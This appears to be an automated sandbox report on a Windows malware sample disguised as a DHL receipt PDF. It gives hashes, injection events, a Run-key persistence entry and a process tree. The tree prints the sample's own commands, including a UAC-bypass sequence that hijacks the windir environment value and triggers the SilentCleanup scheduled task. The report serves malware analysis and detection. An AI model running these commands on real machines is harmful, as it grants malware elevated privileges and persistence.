b31cde99f0850f6f1e87ff1cb15014a26d87a22aed1e63c2bcfe423bc377dfd7

Analysis

max time kernel
135s
max time network
134s
platform
windows10_x64
resource
win10-en
submitted
18/09/2021, 06:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DHL_119040 de recibo,pdf.exe
Size 850KB
Sample210918-g67c8abgar
SHA256 b31cde99f0850f6f1e87ff1cb15014a26d87a22aed1e63c2bcfe423bc377dfd7
MD5 a24e66533b33574ce715598ff5d4f28c
SHA1 31a28a85f6bed73a0379cc8fcc29d4543b8b09ec
SHA512 e728f835f37322509c8763629fa07f2499e626defb177336e8601e70e69c439e499410e169cb438db8680dde6b993cda848913853d067a687d1d57ca7e6e711f
MD5 SHA1 SHA512

Score

10^/10

persistence

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4876 created 4824	4876	WerFault.exe	69

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\Jqzswwq = "C:\\Users\\Public\\Libraries\\qwwszqJ.url"	DHL_119040 de recibo,pdf.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4876	4824	WerFault.exe	69

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
5012	reg.exe
5032	reg.exe
4160	reg.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4824	4736	DHL_119040 de recibo,pdf.exe	69
PID 4736 wrote to memory of 4908	4736	DHL_119040 de recibo,pdf.exe	72
PID 4736 wrote to memory of 4908	4736	DHL_119040 de recibo,pdf.exe	72
PID 4736 wrote to memory of 4908	4736	DHL_119040 de recibo,pdf.exe	72
PID 4908 wrote to memory of 4960	4908	cmd.exe	74
PID 4908 wrote to memory of 4960	4908	cmd.exe	74
PID 4908 wrote to memory of 4960	4908	cmd.exe	74
PID 4960 wrote to memory of 5012	4960	cmd.exe	76
PID 4960 wrote to memory of 5012	4960	cmd.exe	76
PID 4960 wrote to memory of 5012	4960	cmd.exe	76
PID 4960 wrote to memory of 5032	4960	cmd.exe	77
PID 4960 wrote to memory of 5032	4960	cmd.exe	77
PID 4960 wrote to memory of 5032	4960	cmd.exe	77
PID 4960 wrote to memory of 5052	4960	cmd.exe	78
PID 4960 wrote to memory of 5052	4960	cmd.exe	78
PID 4960 wrote to memory of 5052	4960	cmd.exe	78
PID 4736 wrote to memory of 5100	4736	DHL_119040 de recibo,pdf.exe	79
PID 4736 wrote to memory of 5100	4736	DHL_119040 de recibo,pdf.exe	79
PID 4736 wrote to memory of 5100	4736	DHL_119040 de recibo,pdf.exe	79
PID 5100 wrote to memory of 4160	5100	cmd.exe	81
PID 5100 wrote to memory of 4160	5100	cmd.exe	81
PID 5100 wrote to memory of 4160	5100	cmd.exe	81

C:\Users\Admin\AppData\Local\Temp\DHL_119040 de recibo,pdf.exe
"C:\Users\Admin\AppData\Local\Temp\DHL_119040 de recibo,pdf.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\SysWOW64\SndVol.exe
  C:\Windows\System32\SndVol.exe
  2⤵
  PID:4824
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 72
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Program crash
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\reg.exe
      reg delete hkcu\Environment /v windir /f
      4⤵
      Modifies registry key
      PID:5012
  - - C:\Windows\SysWOW64\reg.exe
      reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      4⤵
      Modifies registry key
      PID:5032
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      4⤵
      PID:5052
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Windows\SysWOW64\reg.exe
    reg delete hkcu\Environment /v windir /f
    3⤵
    - Modifies registry key
    PID:4160

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4736-116-0x0000000000530000-0x00000000005DE000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads